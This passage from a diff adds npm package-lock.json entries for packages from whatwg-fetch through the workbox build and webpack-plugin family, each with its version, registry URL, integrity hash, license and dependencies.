27673+ "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
27674+ "license": "MIT",
27675+ "dependencies": {
27676+ "iconv-lite": "0.4.24"
27677+ }
27678+ },
27679+ "node_modules/whatwg-fetch": {
27680+ "version": "3.6.20",
27681+ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz",
27682+ "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==",
27683+ "license": "MIT"
27684+ },
27685+ "node_modules/whatwg-mimetype": {
27686+ "version": "2.3.0",
27687+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
27688+ "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==",
27689+ "license": "MIT"
27690+ },
27691+ "node_modules/whatwg-url": {
27692+ "version": "14.2.0",
27693+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
27694+ "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
27695+ "license": "MIT",
27696+ "dependencies": {
27697+ "tr46": "^5.1.0",
27698+ "webidl-conversions": "^7.0.0"
27699+ },
27700+ "engines": {
27701+ "node": ">=18"
27702+ }
27703+ },
27704+ "node_modules/whatwg-url/node_modules/webidl-conversions": {
27705+ "version": "7.0.0",
27706+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
27707+ "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
27708+ "license": "BSD-2-Clause",
27709+ "engines": {
27710+ "node": ">=12"
27711+ }
27712+ },
27713+ "node_modules/which": {
27714+ "version": "2.0.2",
27715+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
27716+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
27717+ "license": "ISC",
27718+ "dependencies": {
27719+ "isexe": "^2.0.0"
27720+ },
27721+ "bin": {
27722+ "node-which": "bin/node-which"
27723+ },
27724+ "engines": {
27725+ "node": ">= 8"
27726+ }
27727+ },
27728+ "node_modules/which-boxed-primitive": {
27729+ "version": "1.1.1",
27730+ "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
27731+ "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",
27732+ "license": "MIT",
27733+ "dependencies": {
27734+ "is-bigint": "^1.1.0",
27735+ "is-boolean-object": "^1.2.1",
27736+ "is-number-object": "^1.1.1",
27737+ "is-string": "^1.1.1",
27738+ "is-symbol": "^1.1.1"
27739+ },
27740+ "engines": {
27741+ "node": ">= 0.4"
27742+ },
27743+ "funding": {
27744+ "url": "https://github.com/sponsors/ljharb"
27745+ }
27746+ },
27747+ "node_modules/which-builtin-type": {
27748+ "version": "1.2.1",
27749+ "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
27750+ "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
27751+ "license": "MIT",
27752+ "dependencies": {
27753+ "call-bound": "^1.0.2",
27754+ "function.prototype.name": "^1.1.6",
27755+ "has-tostringtag": "^1.0.2",
27756+ "is-async-function": "^2.0.0",
27757+ "is-date-object": "^1.1.0",
27758+ "is-finalizationregistry": "^1.1.0",
27759+ "is-generator-function": "^1.0.10",
27760+ "is-regex": "^1.2.1",
27761+ "is-weakref": "^1.0.2",
27762+ "isarray": "^2.0.5",
27763+ "which-boxed-primitive": "^1.1.0",
27764+ "which-collection": "^1.0.2",
27765+ "which-typed-array": "^1.1.16"
27766+ },
27767+ "engines": {
27768+ "node": ">= 0.4"
27769+ },
27770+ "funding": {
27771+ "url": "https://github.com/sponsors/ljharb"
27772+ }
27773+ },
27774+ "node_modules/which-collection": {
27775+ "version": "1.0.2",
27776+ "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
27777+ "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
27778+ "license": "MIT",
27779+ "dependencies": {
27780+ "is-map": "^2.0.3",
27781+ "is-set": "^2.0.3",
27782+ "is-weakmap": "^2.0.2",
27783+ "is-weakset": "^2.0.3"
27784+ },
27785+ "engines": {
27786+ "node": ">= 0.4"
27787+ },
27788+ "funding": {
27789+ "url": "https://github.com/sponsors/ljharb"
27790+ }
27791+ },
27792+ "node_modules/which-module": {
27793+ "version": "2.0.1",
27794+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
27795+ "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
27796+ "license": "ISC"
27797+ },
27798+ "node_modules/which-typed-array": {
27799+ "version": "1.1.19",
27800+ "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",
27801+ "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",
27802+ "license": "MIT",
27803+ "dependencies": {
27804+ "available-typed-arrays": "^1.0.7",
27805+ "call-bind": "^1.0.8",
27806+ "call-bound": "^1.0.4",
27807+ "for-each": "^0.3.5",
27808+ "get-proto": "^1.0.1",
27809+ "gopd": "^1.2.0",
27810+ "has-tostringtag": "^1.0.2"
27811+ },
27812+ "engines": {
27813+ "node": ">= 0.4"
27814+ },
27815+ "funding": {
27816+ "url": "https://github.com/sponsors/ljharb"
27817+ }
27818+ },
27819+ "node_modules/word-wrap": {
27820+ "version": "1.2.5",
27821+ "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
27822+ "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
27823+ "license": "MIT",
27824+ "engines": {
27825+ "node": ">=0.10.0"
27826+ }
27827+ },
27828+ "node_modules/workbox-background-sync": {
27829+ "version": "6.6.0",
27830+ "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz",
27831+ "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==",
27832+ "license": "MIT",
27833+ "dependencies": {
27834+ "idb": "^7.0.1",
27835+ "workbox-core": "6.6.0"
27836+ }
27837+ },
27838+ "node_modules/workbox-broadcast-update": {
27839+ "version": "6.6.0",
27840+ "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz",
27841+ "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==",
27842+ "license": "MIT",
27843+ "dependencies": {
27844+ "workbox-core": "6.6.0"
27845+ }
27846+ },
27847+ "node_modules/workbox-build": {
27848+ "version": "6.6.0",
27849+ "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.6.0.tgz",
27850+ "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==",
27851+ "license": "MIT",
27852+ "dependencies": {
27853+ "@apideck/better-ajv-errors": "^0.3.1",
27854+ "@babel/core": "^7.11.1",
27855+ "@babel/preset-env": "^7.11.0",
27856+ "@babel/runtime": "^7.11.2",
27857+ "@rollup/plugin-babel": "^5.2.0",
27858+ "@rollup/plugin-node-resolve": "^11.2.1",
27859+ "@rollup/plugin-replace": "^2.4.1",
27860+ "@surma/rollup-plugin-off-main-thread": "^2.2.3",
27861+ "ajv": "^8.6.0",
27862+ "common-tags": "^1.8.0",
27863+ "fast-json-stable-stringify": "^2.1.0",
27864+ "fs-extra": "^9.0.1",
27865+ "glob": "^7.1.6",
27866+ "lodash": "^4.17.20",
27867+ "pretty-bytes": "^5.3.0",
27868+ "rollup": "^2.43.1",
27869+ "rollup-plugin-terser": "^7.0.0",
27870+ "source-map": "^0.8.0-beta.0",
27871+ "stringify-object": "^3.3.0",
27872+ "strip-comments": "^2.0.1",
27873+ "tempy": "^0.6.0",
27874+ "upath": "^1.2.0",
27875+ "workbox-background-sync": "6.6.0",
27876+ "workbox-broadcast-update": "6.6.0",
27877+ "workbox-cacheable-response": "6.6.0",
27878+ "workbox-core": "6.6.0",
27879+ "workbox-expiration": "6.6.0",
27880+ "workbox-google-analytics": "6.6.0",
27881+ "workbox-navigation-preload": "6.6.0",
27882+ "workbox-precaching": "6.6.0",
27883+ "workbox-range-requests": "6.6.0",
27884+ "workbox-recipes": "6.6.0",
27885+ "workbox-routing": "6.6.0",
27886+ "workbox-strategies": "6.6.0",
27887+ "workbox-streams": "6.6.0",
27888+ "workbox-sw": "6.6.0",
27889+ "workbox-window": "6.6.0"
27890+ },
27891+ "engines": {
27892+ "node": ">=10.0.0"
27893+ }
27894+ },
27895+ "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": {
27896+ "version": "0.3.6",
27897+ "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
27898+ "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
27899+ "license": "MIT",
27900+ "dependencies": {
27901+ "json-schema": "^0.4.0",
27902+ "jsonpointer": "^5.0.0",
27903+ "leven": "^3.1.0"
27904+ },
27905+ "engines": {
27906+ "node": ">=10"
27907+ },
27908+ "peerDependencies": {
27909+ "ajv": ">=8"
27910+ }
27911+ },
27912+ "node_modules/workbox-build/node_modules/@rollup/plugin-babel": {
27913+ "version": "5.3.1",
27914+ "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
27915+ "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
27916+ "license": "MIT",
27917+ "dependencies": {
27918+ "@babel/helper-module-imports": "^7.10.4",
27919+ "@rollup/pluginutils": "^3.1.0"
27920+ },
27921+ "engines": {
27922+ "node": ">= 10.0.0"
27923+ },
27924+ "peerDependencies": {
27925+ "@babel/core": "^7.0.0",
27926+ "@types/babel__core": "^7.1.9",
27927+ "rollup": "^1.20.0||^2.0.0"
27928+ },
27929+ "peerDependenciesMeta": {
27930+ "@types/babel__core": {
27931+ "optional": true
27932+ }
27933+ }
27934+ },
27935+ "node_modules/workbox-build/node_modules/@rollup/plugin-node-resolve": {
27936+ "version": "11.2.1",
27937+ "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz",
27938+ "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==",
27939+ "license": "MIT",
27940+ "dependencies": {
27941+ "@rollup/pluginutils": "^3.1.0",
27942+ "@types/resolve": "1.17.1",
27943+ "builtin-modules": "^3.1.0",
27944+ "deepmerge": "^4.2.2",
27945+ "is-module": "^1.0.0",
27946+ "resolve": "^1.19.0"
27947+ },
27948+ "engines": {
27949+ "node": ">= 10.0.0"
27950+ },
27951+ "peerDependencies": {
27952+ "rollup": "^1.20.0||^2.0.0"
27953+ }
27954+ },
27955+ "node_modules/workbox-build/node_modules/@rollup/plugin-replace": {
27956+ "version": "2.4.2",
27957+ "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
27958+ "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
27959+ "license": "MIT",
27960+ "dependencies": {
27961+ "@rollup/pluginutils": "^3.1.0",
27962+ "magic-string": "^0.25.7"
27963+ },
27964+ "peerDependencies": {
27965+ "rollup": "^1.20.0 || ^2.0.0"
27966+ }
27967+ },
27968+ "node_modules/workbox-build/node_modules/@rollup/pluginutils": {
27969+ "version": "3.1.0",
27970+ "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
27971+ "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
27972+ "license": "MIT",
27973+ "dependencies": {
27974+ "@types/estree": "0.0.39",
27975+ "estree-walker": "^1.0.1",
27976+ "picomatch": "^2.2.2"
27977+ },
27978+ "engines": {
27979+ "node": ">= 8.0.0"
27980+ },
27981+ "peerDependencies": {
27982+ "rollup": "^1.20.0||^2.0.0"
27983+ }
27984+ },
27985+ "node_modules/workbox-build/node_modules/@types/estree": {
27986+ "version": "0.0.39",
27987+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
27988+ "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==",
27989+ "license": "MIT"
27990+ },
27991+ "node_modules/workbox-build/node_modules/ajv": {
27992+ "version": "8.17.1",
27993+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
27994+ "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
27995+ "license": "MIT",
27996+ "dependencies": {
27997+ "fast-deep-equal": "^3.1.3",
27998+ "fast-uri": "^3.0.1",
27999+ "json-schema-traverse": "^1.0.0",
28000+ "require-from-string": "^2.0.2"
28001+ },
28002+ "funding": {
28003+ "type": "github",
28004+ "url": "https://github.com/sponsors/epoberezkin"
28005+ }
28006+ },
28007+ "node_modules/workbox-build/node_modules/estree-walker": {
28008+ "version": "1.0.1",
28009+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz",
28010+ "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==",
28011+ "license": "MIT"
28012+ },
28013+ "node_modules/workbox-build/node_modules/fs-extra": {
28014+ "version": "9.1.0",
28015+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
28016+ "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
28017+ "license": "MIT",
28018+ "dependencies": {
28019+ "at-least-node": "^1.0.0",
28020+ "graceful-fs": "^4.2.0",
28021+ "jsonfile": "^6.0.1",
28022+ "universalify": "^2.0.0"
28023+ },
28024+ "engines": {
28025+ "node": ">=10"
28026+ }
28027+ },
28028+ "node_modules/workbox-build/node_modules/jest-worker": {
28029+ "version": "26.6.2",
28030+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
28031+ "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
28032+ "license": "MIT",
28033+ "dependencies": {
28034+ "@types/node": "*",
28035+ "merge-stream": "^2.0.0",
28036+ "supports-color": "^7.0.0"
28037+ },
28038+ "engines": {
28039+ "node": ">= 10.13.0"
28040+ }
28041+ },
28042+ "node_modules/workbox-build/node_modules/json-schema-traverse": {
28043+ "version": "1.0.0",
28044+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
28045+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
28046+ "license": "MIT"
28047+ },
28048+ "node_modules/workbox-build/node_modules/magic-string": {
28049+ "version": "0.25.9",
28050+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz",
28051+ "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==",
28052+ "license": "MIT",
28053+ "dependencies": {
28054+ "sourcemap-codec": "^1.4.8"
28055+ }
28056+ },
28057+ "node_modules/workbox-build/node_modules/picomatch": {
28058+ "version": "2.3.1",
28059+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
28060+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
28061+ "license": "MIT",
28062+ "engines": {
28063+ "node": ">=8.6"
28064+ },
28065+ "funding": {
28066+ "url": "https://github.com/sponsors/jonschlinkert"
28067+ }
28068+ },
28069+ "node_modules/workbox-build/node_modules/rollup": {
28070+ "version": "2.79.2",
28071+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
28072+ "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
28073+ "license": "MIT",
28074+ "bin": {
28075+ "rollup": "dist/bin/rollup"
28076+ },
28077+ "engines": {
28078+ "node": ">=10.0.0"
28079+ },
28080+ "optionalDependencies": {
28081+ "fsevents": "~2.3.2"
28082+ }
28083+ },
28084+ "node_modules/workbox-build/node_modules/rollup-plugin-terser": {
28085+ "version": "7.0.2",
28086+ "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
28087+ "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
28088+ "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser",
28089+ "license": "MIT",
28090+ "dependencies": {
28091+ "@babel/code-frame": "^7.10.4",
28092+ "jest-worker": "^26.2.1",
28093+ "serialize-javascript": "^4.0.0",
28094+ "terser": "^5.0.0"
28095+ },
28096+ "peerDependencies": {
28097+ "rollup": "^2.0.0"
28098+ }
28099+ },
28100+ "node_modules/workbox-build/node_modules/serialize-javascript": {
28101+ "version": "4.0.0",
28102+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
28103+ "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
28104+ "license": "BSD-3-Clause",
28105+ "dependencies": {
28106+ "randombytes": "^2.1.0"
28107+ }
28108+ },
28109+ "node_modules/workbox-build/node_modules/source-map": {
28110+ "version": "0.8.0-beta.0",
28111+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
28112+ "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
28113+ "deprecated": "The work that was done in this beta branch won't be included in future versions",
28114+ "license": "BSD-3-Clause",
28115+ "dependencies": {
28116+ "whatwg-url": "^7.0.0"
28117+ },
28118+ "engines": {
28119+ "node": ">= 8"
28120+ }
28121+ },
28122+ "node_modules/workbox-build/node_modules/tr46": {
28123+ "version": "1.0.1",
28124+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
28125+ "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
28126+ "license": "MIT",
28127+ "dependencies": {
28128+ "punycode": "^2.1.0"
28129+ }
28130+ },
28131+ "node_modules/workbox-build/node_modules/webidl-conversions": {
28132+ "version": "4.0.2",
28133+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
28134+ "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==",
28135+ "license": "BSD-2-Clause"
28136+ },
28137+ "node_modules/workbox-build/node_modules/whatwg-url": {
28138+ "version": "7.1.0",
28139+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
28140+ "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
28141+ "license": "MIT",
28142+ "dependencies": {
28143+ "lodash.sortby": "^4.7.0",
28144+ "tr46": "^1.0.1",
28145+ "webidl-conversions": "^4.0.2"
28146+ }
28147+ },
28148+ "node_modules/workbox-cacheable-response": {
28149+ "version": "6.6.0",
28150+ "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz",
28151+ "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==",
28152+ "deprecated": "workbox-background-sync@6.6.0",
28153+ "license": "MIT",
28154+ "dependencies": {
28155+ "workbox-core": "6.6.0"
28156+ }
28157+ },
28158+ "node_modules/workbox-core": {
28159+ "version": "6.6.0",
28160+ "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.6.0.tgz",
28161+ "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==",
28162+ "license": "MIT"
28163+ },
28164+ "node_modules/workbox-expiration": {
28165+ "version": "6.6.0",
28166+ "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.6.0.tgz",
28167+ "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==",
28168+ "license": "MIT",
28169+ "dependencies": {
28170+ "idb": "^7.0.1",
28171+ "workbox-core": "6.6.0"
28172+ }
28173+ },
28174+ "node_modules/workbox-google-analytics": {
28175+ "version": "6.6.0",
28176+ "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz",
28177+ "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==",
28178+ "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained",
28179+ "license": "MIT",
28180+ "dependencies": {
28181+ "workbox-background-sync": "6.6.0",
28182+ "workbox-core": "6.6.0",
28183+ "workbox-routing": "6.6.0",
28184+ "workbox-strategies": "6.6.0"
28185+ }
28186+ },
28187+ "node_modules/workbox-navigation-preload": {
28188+ "version": "6.6.0",
28189+ "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz",
28190+ "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==",
28191+ "license": "MIT",
28192+ "dependencies": {
28193+ "workbox-core": "6.6.0"
28194+ }
28195+ },
28196+ "node_modules/workbox-precaching": {
28197+ "version": "6.6.0",
28198+ "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.6.0.tgz",
28199+ "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==",
28200+ "license": "MIT",
28201+ "dependencies": {
28202+ "workbox-core": "6.6.0",
28203+ "workbox-routing": "6.6.0",
28204+ "workbox-strategies": "6.6.0"
28205+ }
28206+ },
28207+ "node_modules/workbox-range-requests": {
28208+ "version": "6.6.0",
28209+ "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz",
28210+ "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==",
28211+ "license": "MIT",
28212+ "dependencies": {
28213+ "workbox-core": "6.6.0"
28214+ }
28215+ },
28216+ "node_modules/workbox-recipes": {
28217+ "version": "6.6.0",
28218+ "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.6.0.tgz",
28219+ "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==",
28220+ "license": "MIT",
28221+ "dependencies": {
28222+ "workbox-cacheable-response": "6.6.0",
28223+ "workbox-core": "6.6.0",
28224+ "workbox-expiration": "6.6.0",
28225+ "workbox-precaching": "6.6.0",
28226+ "workbox-routing": "6.6.0",
28227+ "workbox-strategies": "6.6.0"
28228+ }
28229+ },
28230+ "node_modules/workbox-routing": {
28231+ "version": "6.6.0",
28232+ "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.6.0.tgz",
28233+ "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==",
28234+ "license": "MIT",
28235+ "dependencies": {
28236+ "workbox-core": "6.6.0"
28237+ }
28238+ },
28239+ "node_modules/workbox-strategies": {
28240+ "version": "6.6.0",
28241+ "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.6.0.tgz",
28242+ "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==",
28243+ "license": "MIT",
28244+ "dependencies": {
28245+ "workbox-core": "6.6.0"
28246+ }
28247+ },
28248+ "node_modules/workbox-streams": {
28249+ "version": "6.6.0",
28250+ "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.6.0.tgz",
28251+ "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==",
28252+ "license": "MIT",
28253+ "dependencies": {
28254+ "workbox-core": "6.6.0",
28255+ "workbox-routing": "6.6.0"
28256+ }
28257+ },
28258+ "node_modules/workbox-sw": {
28259+ "version": "6.6.0",
28260+ "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.6.0.tgz",
28261+ "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==",
28262+ "license": "MIT"
28263+ },
28264+ "node_modules/workbox-webpack-plugin": {
28265+ "version": "6.6.0",
28266+ "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz",
28267+ "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==",
28268+ "license": "MIT",
28269+ "dependencies": {
28270+ "fast-json-stable-stringify": "^2.1.0",
28271+ "pretty-bytes": "^5.4.1",
28272+ "upath": "^1.2.0",
28273+ "webpack-sources": "^1.4.3",
28274+ "workbox-build": "6.6.0"
28275+ },
28276+ "engines": {
28277+ "node": ">=10.0.0"
28278+ },
28279+ "peerDependencies": {
28280+ "webpack": "^4.4.0 || ^5.9.0"
28281+ }
28282+ },
28283+ "node_modules/workbox-webpack-plugin/node_modules/source-map": {
28284+ "version": "0.6.1",
